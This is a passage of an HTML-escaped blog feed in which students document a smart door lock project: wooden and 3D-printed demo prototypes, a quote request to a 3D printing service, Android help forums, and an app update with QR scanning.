height=&quot;320&quot; src=&quot;http://3.bp.blogspot.com/-pRfEfq2SJCY/Ufs9bi2plOI/AAAAAAAAAl0/6QaT8czPt94/s320/544403_10151890848349017_744003909_n.jpg&quot; width=&quot;180&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-gNJzkdpKKMo/Ufs9c55GizI/AAAAAAAAAmU/RzUaCRefMkU/s1600/998539_10151890913729017_1554883528_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://1.bp.blogspot.com/-gNJzkdpKKMo/Ufs9c55GizI/AAAAAAAAAmU/RzUaCRefMkU/s320/998539_10151890913729017_1554883528_n.jpg&quot; width=&quot;180&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-saXiKcZxcKw/Ufs9bhuiVfI/AAAAAAAAAl4/Dg0rwNoM8ms/s1600/1003725_10151891249899017_142547846_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://4.bp.blogspot.com/-saXiKcZxcKw/Ufs9bhuiVfI/AAAAAAAAAl4/Dg0rwNoM8ms/s320/1003725_10151891249899017_142547846_n.jpg&quot; width=&quot;180&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://2.bp.blogspot.com/-bE2ovtIkcjQ/Ufs9ce-FgcI/AAAAAAAAAmI/p7CUI0aX-pQ/s1600/998210_10151891348364017_63443520_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://2.bp.blogspot.com/-bE2ovtIkcjQ/Ufs9ce-FgcI/AAAAAAAAAmI/p7CUI0aX-pQ/s320/998210_10151891348364017_63443520_n.jpg&quot; width=&quot;180&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&amp;gt;I think the best looking one at this moment is the one below. But I still can think of some changes that I can make on the look (Especially our faces right there, haha). If you have any suggestions, comments or samples, go ahead and let me know.&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/-S_Q_Ohqo308/Ufs9bledw7I/AAAAAAAAAmY/QZeXrxamaAc/s1600/1005450_10151892065244017_785791713_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://4.bp.blogspot.com/-S_Q_Ohqo308/Ufs9bledw7I/AAAAAAAAAmY/QZeXrxamaAc/s320/1005450_10151892065244017_785791713_n.jpg&quot; width=&quot;180&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;On Phone&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-bqabzP7tvLY/Ufs-ZlWEYBI/AAAAAAAAAmo/Pjd43B6Ct30/s1600/Screenshot_2013-08-02-12-50-28.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;http://1.bp.blogspot.com/-bqabzP7tvLY/Ufs-ZlWEYBI/AAAAAAAAAmo/Pjd43B6Ct30/s640/Screenshot_2013-08-02-12-50-28.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;On Galaxy Tab&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>First prototype</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/First-prototype/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/First-prototype</id>
   <content type="html">&lt;p&gt;So we decided that 3D printing service will take quite a little bit of time and we are not yet ready to finalize the design for it, among other things (the cost is a headache too!). Since the first presentation is just around the corner, we gonna go with a quicker solution : a prototype made wholly out of wood. We have been going around the hardware shops nearby and finally able to get some good looking woods for our project with cheap cost.&lt;br /&gt;&lt;br /&gt;Due to the lock requires drop bolt hole component to be mounted, a stand for it is needed. The lock senses the component in order to drop the bolt. Since we need to build that stand, we thought it is a good idea to have the electronic lock able to swing just a little bit. At the end, we got ourselves a smaller scale door, which looks ‘okay’ enough for the presentation. We probably need more than this to impress the moderator, though.&lt;br /&gt;&lt;br /&gt;You can get the Sketchup file here : &lt;a href=&quot;https://www.dropbox.com/s/98wr2av15u80c0q/modelkayu.skp&quot;&gt;First Prototype&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-EoMOQLW-L6k/Uhrw96jKJVI/AAAAAAAAAuE/EqEPOVjvmuA/s1600/544384_10151949972204017_175521428_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;260&quot; src=&quot;http://1.bp.blogspot.com/-EoMOQLW-L6k/Uhrw96jKJVI/AAAAAAAAAuE/EqEPOVjvmuA/s320/544384_10151949972204017_175521428_n.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://2.bp.blogspot.com/-OpcSWQIol08/Uhrw99PfjXI/AAAAAAAAAuI/twMExV32CPk/s1600/1187299_10151949972234017_2088541676_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;249&quot; src=&quot;http://2.bp.blogspot.com/-OpcSWQIol08/Uhrw99PfjXI/AAAAAAAAAuI/twMExV32CPk/s320/1187299_10151949972234017_2088541676_n.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://3.bp.blogspot.com/-0zW7Zp318mE/Uhrw9905III/AAAAAAAAAuA/PdaYMFuBzJI/s1600/1231605_10151949972219017_1564693748_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;218&quot; src=&quot;http://3.bp.blogspot.com/-0zW7Zp318mE/Uhrw9905III/AAAAAAAAAuA/PdaYMFuBzJI/s320/1231605_10151949972219017_1564693748_n.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;text-align: left;&quot;&amp;gt;Time for part timer carpenters to go to work.&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Building the prototype for demo</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Building-the-prototype-for-demo/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Building-the-prototype-for-demo</id>
   <content type="html">&lt;p&gt;For obvious reason, we can’t put our system on a real door during demonstration. So, we need a smaller, nice looking way of showing that our system can work.&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;text-align: left;&quot;&amp;gt;The Kevo’s demonstration uses a small box made of wood, which is actually looks nice and serve the purpose (shows how the system works) nicely. You can watch it from the video:&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div style=&quot;text-align: center;&quot;&amp;gt;&amp;lt;iframe allowfullscreen=&apos;allowfullscreen&apos; webkitallowfullscreen=&apos;webkitallowfullscreen&apos; mozallowfullscreen=&apos;mozallowfullscreen&apos; width=&apos;320&apos; height=&apos;266&apos; src=&apos;https://www.youtube.com/embed/2WVCimTDZwk?feature=player_embedded&apos; frameborder=&apos;0&apos; /&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;text-align: center;&quot;&amp;gt;&amp;lt;div style=&quot;text-align: left;&quot;&amp;gt;&lt;span style=&quot;text-align: start;&quot;&gt;However, due to lack of time and resources, we have opted to build our prototype for demo by using 3D printing service. With some serious lack of creativity, I tried designing using the same idea, just to see how we can arrange our system components inside the box. This is, by no mean, the final design.&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;span style=&quot;text-align: start;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&amp;lt;div style=&quot;text-align: center;&quot;&amp;gt;&lt;span style=&quot;text-align: start;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&amp;lt;/div&amp;gt;&lt;span style=&quot;text-align: start;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-G8aMPZHskFY/Ug6MJMtMuGI/AAAAAAAAAog/oGtYuNszsZ8/s1600/trybox1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;265&quot; src=&quot;http://1.bp.blogspot.com/-G8aMPZHskFY/Ug6MJMtMuGI/AAAAAAAAAog/oGtYuNszsZ8/s320/trybox1.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://2.bp.blogspot.com/-4Y-IjggCeaU/Ug6MIy2_fOI/AAAAAAAAAoM/BSmrP2ZXRVk/s1600/trybox2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;280&quot; src=&quot;http://2.bp.blogspot.com/-4Y-IjggCeaU/Ug6MIy2_fOI/AAAAAAAAAoM/BSmrP2ZXRVk/s320/trybox2.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://3.bp.blogspot.com/-e8Sk52ut7wk/Ug6MJPaztWI/AAAAAAAAAoQ/y0NS8yZQ26A/s1600/trybox3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;250&quot; src=&quot;http://3.bp.blogspot.com/-e8Sk52ut7wk/Ug6MJPaztWI/AAAAAAAAAoQ/y0NS8yZQ26A/s320/trybox3.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://2.bp.blogspot.com/-YcJed8UFoDQ/Ug6MJjHbvbI/AAAAAAAAAoc/8UJXGwmdCl0/s1600/trybox4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;296&quot; src=&quot;http://2.bp.blogspot.com/-YcJed8UFoDQ/Ug6MJjHbvbI/AAAAAAAAAoc/8UJXGwmdCl0/s320/trybox4.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;As you can see, there are pretty big empty spaces inside the box which can fitted with other components if needed (a battery, perhaps?). After asking around on 3D printing service available, I found out that the maximum of the printable size is 20cm x 20cm x 20cm volume. That is one big concern, our lock itself is already 199mm (19.9cm) in length. Trouble!&lt;br /&gt;&lt;br /&gt;Well, not entirely true. We have the option to print part by part and gluing them together, but I’m not sure how strong can it be. The material provided are mostly ABS or PLA. ABS is stronger, the kind of material that the car’s bumper are made of, but the maximum printable size is about 10cm x 10cm x 10cm due to the warping problem. We still need to design correctly (if you notice, I haven’t plug in the Bluetooth dongle into the Rpi yet) and we still need to seek answers!&lt;br /&gt;&lt;br /&gt;Here’s a little conversation of me and one of the 3D printing service providers:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-family: Georgia, Times New Roman, serif;&quot;&gt;Hi &lt;br /&gt;&lt;br /&gt;I’m gathering info about 3D printing service, which I need for my fyp. I was given your contact…I hope you don’t mind, I’d like to ask a few questions:&lt;br /&gt;&lt;br /&gt;1. Can I know the price rate for the service? How it depends on the size, weight of material used, complexity…any other applicable etc&lt;br /&gt;&lt;br /&gt;2. What is the maximum printable size?&lt;br /&gt;&lt;br /&gt;3. Which materials do you guys provide?&lt;br /&gt;&lt;br /&gt;4. How to make order? Expected delivery period?&lt;br /&gt;&lt;br /&gt;Thanks&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;The reply:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Georgia, Times New Roman, serif;&quot;&gt;&lt;i&gt;Hello&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Georgia, Times New Roman, serif;&quot;&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Georgia, Times New Roman, serif;&quot;&gt;&lt;i&gt;1. For 3D printing targeted towards the consumer market, the prices can range from RM5 all the way to RM1,000. For our company, Makerzone, we charge based on weight and time taken (Rm30 per hour) to print an object. The more complex the object is, the longer time it takes to print it so higher cost too. However, we do have substantial discount for students.&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Georgia, Times New Roman, serif;&quot;&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Georgia, Times New Roman, serif;&quot;&gt;&lt;i&gt;2. For our printers currently, our maximum printable size is 20cm x 20cm x 20cm volume. ABS is limited to 10cm x 10cm x 10cm to prevent warping.&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Georgia, Times New Roman, serif;&quot;&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Georgia, Times New Roman, serif;&quot;&gt;&lt;i&gt;3. We provide both ABS and PLA filaments. Honestly after selling products the past few months, the type of filaments that we use do not matter much to our consumers. We also provide post-processing for customers if they want such as polishing the printed object which will make it looks smooth and shiny, painting and chroming.&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Georgia, Times New Roman, serif;&quot;&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Georgia, Times New Roman, serif;&quot;&gt;&lt;i&gt;4. Customers can make orders through our online platform where we host our marketplace of products. We own three websites currently but they are all still under development and not fully functional yet. Please feel free to check them out too.&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Georgia, Times New Roman, serif;&quot;&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Georgia, Times New Roman, serif;&quot;&gt;&lt;i&gt;www.makerzone.net    www.makerzone.com.my    www.makerzone.sto.my &lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Georgia, Times New Roman, serif;&quot;&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Georgia, Times New Roman, serif;&quot;&gt;&lt;i&gt;Please do like our page below too! &lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Georgia, Times New Roman, serif;&quot;&gt;&lt;i&gt;https://www.facebook.com/makerzone&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Georgia, Times New Roman, serif;&quot;&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Georgia, Times New Roman, serif;&quot;&gt;&lt;i&gt;It is good that you have a sketch of your design, it makes it so much easier for us to provide a quotation for you. Therefore, you could drop an email to mak@makerzone.net together with your sketchup design for him to provide validation and quotation. Expected delivery period is within 5 working days. &lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Android forums for inquiries</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Android-forums-for-inquiries/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Android-forums-for-inquiries</id>
   <content type="html">&lt;p&gt;Over the time, while writing and testing the Android App, I came across some issues which are not very common thus making them harder to be reached from search engines like Google. It’s very troublesome, especially when they are related to something new, something that was just recently released or updated. When it comes to that, the best way to battle the issues is by putting my own questions on the webs and wait for them to be answered. Believe or not, you can get few good responses just within one day.&lt;br /&gt;&lt;br /&gt;I have gathered some of the forums I normally put up my questions at below:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: large;&quot;&gt;1. &lt;a href=&quot;http://stackoverflow.com/questions/tagged/android&quot;&gt;Stackoverflow&lt;/a&gt;&lt;br /&gt;2. &lt;a href=&quot;http://androidforums.com/&quot;&gt;Android Forums&lt;/a&gt;&lt;br /&gt;3. &lt;a href=&quot;http://forums.androidcentral.com/&quot;&gt;Android Central&lt;/a&gt;&lt;br /&gt;4. &lt;a href=&quot;http://forum.xda-developers.com/&quot;&gt;xda-developers&lt;/a&gt;&lt;br /&gt;5. &lt;a href=&quot;http://www.android.net/forum/forum.php&quot;&gt;Android.net&lt;/a&gt;&lt;br /&gt;6. &lt;a href=&quot;http://androidforum.com/&quot;&gt;TalkAndroid Forum&lt;/a&gt;&lt;br /&gt;7. &lt;a href=&quot;http://www.androidpit.com/en/android/forum&quot;&gt;AndroidPit&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Android App update</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Android-App-update/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Android-App-update</id>
   <content type="html">&lt;p&gt;I have fixed the server scripts and simplify the Android App, enables it to successfully connect to the server and send some data. I tested on Ubuntu and Rpi Raspian, and it works fine on both.&lt;br /&gt;&lt;br /&gt;Thanks to Zul,  I was also able to add on QR scan function which is now able to :&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;color: #9fc5e8; font-size: large;&quot;&gt;1. Scan QR code that point to a http URL ended with “png” &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;color: #9fc5e8; font-size: large;&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #9fc5e8;&quot;&gt;  Other form of links are simply ignored by the App. Only the link that ended with “png” (hence, png image file)  are actually downloaded to the phone.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;color: #9fc5e8;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #9fc5e8;&quot;&gt;2. &lt;b&gt;Download the png image file automatically to the gallery&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #9fc5e8; font-size: large;&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #9fc5e8;&quot;&gt;The download process is done in the background (Android Asynctask). However, the actual image is also displayed on the App so that the user does not need to be prompted to the gallery to view the image.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The png file extension is important as it is the format that the CMS uses (on webcam photo capture during new user registration). Hence, it will be the format that the Steganography Algorithm will be applied on. The difference between JPEG, GIF and PNG are discussed here : &lt;b&gt;&lt;a href=&quot;http://stackoverflow.com/questions/2336522/png-vs-gif-vs-jpeg-when-best-to-use?answertab=votes#tab-top&quot;&gt;Link&lt;/a&gt;&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Here is the App APK file: &lt;b&gt;&lt;a href=&quot;https://www.facebook.com/download/630037383729565/Smart.apk&quot;&gt;Link&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>A sample RFID based electronic door lock</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/A-sample-RFID-based-electronic-door-lock/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/A-sample-RFID-based-electronic-door-lock</id>
   <content type="html">&lt;p&gt;During the last meeting, Mr Cheong showed us the sample of the electronic door lock from the market. We were informed with some useful information on the regulation of the general door lock (before they can be marketed) here in Malaysia. The sample is a RFID based electronic door lock that also comes with the manual keyhole for the backup. It is actually a better idea to have the similar basic design for our project, albeit it comes with a higher cost.&lt;br /&gt;&lt;br /&gt;The sample looks good, and I hope we can build something similar for our demo as well.&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-lHhmJpEBsRs/UhrroC-wFJI/AAAAAAAAAtY/BPqPvdqrmrs/s1600/IMG_20130822_144721_968.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://1.bp.blogspot.com/-lHhmJpEBsRs/UhrroC-wFJI/AAAAAAAAAtY/BPqPvdqrmrs/s320/IMG_20130822_144721_968.jpg&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-ZaTC6-ccWSg/UhrroKS0_YI/AAAAAAAAAtQ/s67I6g5UKPU/s1600/IMG_20130822_144731_887.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://1.bp.blogspot.com/-ZaTC6-ccWSg/UhrroKS0_YI/AAAAAAAAAtQ/s67I6g5UKPU/s320/IMG_20130822_144731_887.jpg&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://2.bp.blogspot.com/-Dgukmi3kBKI/UhrroFd4JnI/AAAAAAAAAtU/qsCqTRVSu7Y/s1600/IMG_20130822_144742_382.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://2.bp.blogspot.com/-Dgukmi3kBKI/UhrroFd4JnI/AAAAAAAAAtU/qsCqTRVSu7Y/s320/IMG_20130822_144742_382.jpg&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/-uV3-MJHB2ys/Uhrrpea4yEI/AAAAAAAAAto/OUreAIWdCjY/s1600/IMG_20130822_144749_250.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://4.bp.blogspot.com/-uV3-MJHB2ys/Uhrrpea4yEI/AAAAAAAAAto/OUreAIWdCjY/s320/IMG_20130822_144749_250.jpg&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-NDNnOf30tVU/UhrrpVovTdI/AAAAAAAAAts/rcPMHkn5r_g/s1600/IMG_20130822_144757_345.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://1.bp.blogspot.com/-NDNnOf30tVU/UhrrpVovTdI/AAAAAAAAAts/rcPMHkn5r_g/s320/IMG_20130822_144757_345.jpg&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>2nd try on demo box</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/2nd-try-on-demo-box/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/2nd-try-on-demo-box</id>
   <content type="html">&lt;p&gt;So, we had ourselves a barrier : the 3D printing service can only print at most 20cm X 20cm in size. Our electronic lock itself is already about 19cm, which tells us that we can’t print the whole previous design in one shot. What we can do is to print them part by part and combine them together with screws or glue.&lt;br /&gt;&lt;br /&gt;So, I gave another shot on how it will sorta look like if we were to go that way. You can get the Sketchup file here : &lt;a href=&quot;https://www.dropbox.com/s/5yiemww0ipmjj91/Raf%20Demo%20design.zip&quot;&gt;Second Design&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-2bSpfbqtA_k/UhrihgOTuWI/AAAAAAAAAsE/D1_SsmuNMvA/s1600/581796_10151941493144017_1808449923_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;312&quot; src=&quot;http://1.bp.blogspot.com/-2bSpfbqtA_k/UhrihgOTuWI/AAAAAAAAAsE/D1_SsmuNMvA/s320/581796_10151941493144017_1808449923_n.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://2.bp.blogspot.com/-mItnCsPcOX8/UhriiqrGCzI/AAAAAAAAAsg/9qfhmOIUYzs/s1600/988712_10151941493199017_1894476784_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;288&quot; src=&quot;http://2.bp.blogspot.com/-mItnCsPcOX8/UhriiqrGCzI/AAAAAAAAAsg/9qfhmOIUYzs/s320/988712_10151941493199017_1894476784_n.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/-6AyfSVfks5w/UhrijTcRbQI/AAAAAAAAAs8/KCDlIqp1xig/s1600/998931_10151941493169017_1119554958_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://4.bp.blogspot.com/-6AyfSVfks5w/UhrijTcRbQI/AAAAAAAAAs8/KCDlIqp1xig/s320/998931_10151941493169017_1119554958_n.jpg&quot; width=&quot;291&quot; 